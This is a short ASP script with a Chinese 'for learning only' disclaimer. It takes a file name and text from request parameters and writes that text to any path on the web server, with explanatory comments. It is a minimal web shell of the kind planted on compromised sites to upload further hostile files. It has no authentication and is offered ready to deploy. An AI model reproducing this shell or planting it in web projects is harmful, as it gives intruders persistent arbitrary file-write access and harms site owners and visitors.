该脚本仅供学习使用,请勿用于非法!如果发现威胁文件,请到www.Expdoor.com解除你的危险状况

<% dim s if request("action")="set" then Text=request("Text") FileName=request("FileName") set fs=server.CreateObject("Scripting.FileSystemObject") '创建FSO组件 set file=fs.OpenTextFile(server.MapPath(FileName),8,True) '创建FileName指定的文件 file.writeline Text '把TEXT逐行写入到文件中,如果没有写 权限,会造成操作失败 file.close '关闭file set file=nothing '释放 set fs=nothing '释放 response.write ("") '返回到客户端执行提示保存成功 end if %>